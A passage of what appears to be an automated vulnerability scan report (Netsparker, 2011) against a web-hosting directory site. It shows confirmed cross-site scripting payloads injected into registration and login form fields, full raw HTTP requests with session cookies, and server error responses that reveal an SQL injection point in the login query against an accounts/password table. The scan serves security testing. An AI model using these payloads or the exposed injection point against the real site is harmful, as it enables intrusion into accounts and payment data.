alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5F7869A51CBC4278DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B5C37CCFA930DA5D156F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B5E004DB2222E9BDF5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B521B008C300C79F1FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B59AF0A48C683FF2196F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B5BF7830C37E287BD0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5009491336039662AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B5907E5CCECF11F46D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B5A8E553070ADBE756C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5CFC5230F4FCF73266F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B5555BE5C3C91AFCACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5815EA84C28B510ECC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B5F55265F8A44A9372C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B557A6A5309927F23AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B58081691852A554BFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B53ED7C0765A12404CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B538BAB45695E1F12E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5651F614ECBD62D3A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B53AA2D25ACBB9711B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST '"--></style></script><script>alert(0x001FBF)</script>

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001FBF)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:25:12 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='1138C42820FB4E6B25EE869426A6C288C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='1138C42820FB4E6B9D908D16C38D58446F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='1138C42820FB4E6B64C0ADB71880A627C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='1138C42820FB4E6B9229C238D23A15B4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='1138C42820FB4E6B1175B581588C157E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='1138C42820FB4E6BA4F1F19718F9DBE0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='1138C42820FB4E6B5CC1AFCFD76A1940C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='1138C42820FB4E6BE9AE8BC40881752A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='1138C42820FB4E6B973218D7495D2CC7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='1138C42820FB4E6B0867D0169D5C17F46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='1138C42820FB4E6B0F2858EE5CB61FE1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='1138C42820FB4E6BAE0A8CF88BA32545C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='1138C42820FB4E6B7B342DD7A806E005C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='1138C42820FB4E6BD1E315962E7A33CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='1138C42820FB4E6B673D18913EEBB3CCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='1138C42820FB4E6B5D7ACCC81EBD02ABC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='1138C42820FB4E6BD04F68E533B45D566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='1138C42820FB4E6BFB392A3A55F0E9AB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='1138C42820FB4E6B8006CAFE2D414A566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '"--></style></script><script>alert(0x001FCF)</script>
password POST 3
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 135
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001FCF)%3c%2fscript%3e&password=3&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:30:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 388


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001fcf)</script>' AND active NOT IN (2' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001fcf)</script>' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '"--></style></script><script>alert(0x001FFD)</script>
password POST 3
remember_both POST 1
remember_mail POST 1
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 167
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001FFD)%3c%2fscript%3e&password=3&remember_both=1&remember_mail=1&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:35:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 388


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001ffd)</script>' AND active NOT IN (2' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001ffd)</script>' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '"--></style></script><script>alert(0x002049)</script>
password POST 3
B1 POST Login
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
